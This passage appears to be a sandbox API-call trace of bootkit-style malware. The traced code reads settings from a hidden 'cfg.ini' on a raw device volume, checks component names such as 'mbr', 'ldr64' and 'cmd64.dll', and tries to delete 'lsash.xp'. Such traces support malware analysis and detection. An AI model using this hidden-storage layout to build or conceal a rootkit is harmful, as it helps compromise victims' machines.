returned="cfg.ini" [0127.246] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.246] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.246] KeLeaveCriticalRegion () [0127.246] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.247] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.247] KeEnterCriticalRegion () [0127.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.247] KeLeaveCriticalRegion () [0127.247] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.247] KeEnterCriticalRegion () [0127.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.247] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.247] IdePortDispatch () returned 0x103 [0127.247] KeWaitForMutexObject () returned 0x0 [0127.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.247] KeLeaveCriticalRegion () [0127.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.247] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.247] KeEnterCriticalRegion () [0127.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba2000 [0127.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.248] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.248] IdePortDispatch () returned 0x103 [0127.248] KeWaitForMutexObject () returned 0x0 [0127.248] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.248] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.248] IdePortDispatch () returned 0x103 [0127.248] KeWaitForMutexObject () returned 0x0 [0127.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.248] KeLeaveCriticalRegion () [0127.248] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.249] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.249] KeEnterCriticalRegion () [0127.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.249] KeLeaveCriticalRegion () [0127.249] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.249] KeEnterCriticalRegion () [0127.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.249] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.249] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1bb0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.249] KeLeaveCriticalRegion () [0127.249] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.249] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.250] KeEnterCriticalRegion () [0127.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.250] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.250] KeLeaveCriticalRegion () [0127.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.250] ReleaseMutex (hMutex=0xf0) returned 1 [0127.250] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.250] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.250] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.250] KeEnterCriticalRegion () [0127.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.250] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.250] IdePortDispatch () returned 0x103 [0127.250] KeWaitForMutexObject () returned 0x0 [0127.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.250] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.250] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.250] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.250] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.250] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f78b0 [0127.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.250] KeLeaveCriticalRegion () [0127.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.251] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.251] KeEnterCriticalRegion () [0127.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.251] KeLeaveCriticalRegion () [0127.251] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.251] KeEnterCriticalRegion () [0127.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.251] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.251] IdePortDispatch () returned 0x103 [0127.251] KeWaitForMutexObject () returned 0x0 [0127.251] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.251] KeLeaveCriticalRegion () [0127.251] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.251] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.251] KeEnterCriticalRegion () [0127.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba3000 [0127.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.252] IdePortDispatch () returned 0x103 [0127.252] KeWaitForMutexObject () returned 0x0 [0127.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.252] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.252] IdePortDispatch () returned 0x103 [0127.252] KeWaitForMutexObject () returned 0x0 [0127.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.252] KeLeaveCriticalRegion () [0127.252] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.253] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.253] KeEnterCriticalRegion () [0127.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.253] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.253] KeLeaveCriticalRegion () [0127.253] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.253] KeEnterCriticalRegion () [0127.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.253] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.253] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.253] KeLeaveCriticalRegion () [0127.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.253] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.253] KeEnterCriticalRegion () [0127.253] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.254] ExFreePoolWithTag (P=0xfffffa800c4f78b0, Tag=0x0) [0127.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.254] KeLeaveCriticalRegion () [0127.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.254] ReleaseMutex (hMutex=0xf0) returned 1 [0127.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.254] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.254] KeEnterCriticalRegion () [0127.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.254] IdePortDispatch () returned 0x103 [0127.254] KeWaitForMutexObject () returned 0x0 [0127.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adc810 [0127.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.254] KeLeaveCriticalRegion () [0127.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.255] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.255] KeEnterCriticalRegion () [0127.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.255] KeLeaveCriticalRegion () [0127.255] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.255] KeEnterCriticalRegion () [0127.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.255] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.255] IdePortDispatch () returned 0x103 [0127.255] KeWaitForMutexObject () returned 0x0 [0127.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.255] KeLeaveCriticalRegion () [0127.255] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.255] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.255] KeEnterCriticalRegion () [0127.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba4000 [0127.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.256] IdePortDispatch () returned 0x103 [0127.256] KeWaitForMutexObject () returned 0x0 [0127.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.256] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.256] IdePortDispatch () returned 0x103 [0127.257] KeWaitForMutexObject () returned 0x0 [0127.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.257] KeLeaveCriticalRegion () [0127.257] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.257] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.257] KeEnterCriticalRegion () [0127.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.257] KeLeaveCriticalRegion () [0127.257] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.257] KeEnterCriticalRegion () [0127.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.258] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.258] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.258] KeLeaveCriticalRegion () [0127.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.258] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.258] KeEnterCriticalRegion () [0127.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.258] ExFreePoolWithTag (P=0xfffffa8002adc810, Tag=0x0) [0127.258] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.258] KeLeaveCriticalRegion () [0127.258] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.258] ReleaseMutex (hMutex=0xf0) returned 1 [0127.258] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.258] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.258] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.258] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.258] KeEnterCriticalRegion () [0127.258] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.258] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.258] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.258] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.258] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.258] IdePortDispatch () returned 0x103 [0127.259] KeWaitForMutexObject () returned 0x0 [0127.259] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.259] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.259] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.259] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.259] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.259] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.259] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.259] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.259] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.259] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.259] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.259] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.259] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.259] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.259] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.259] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.259] KeLeaveCriticalRegion () [0127.259] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.259] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.259] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.259] KeEnterCriticalRegion () [0127.259] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.259] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.259] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.259] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.259] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.259] IdePortDispatch () returned 0x103 [0127.260] KeWaitForMutexObject () returned 0x0 [0127.260] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.260] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.260] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.260] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.260] _strnicmp (_Str1="ldr64", _Str="lsash.xp", 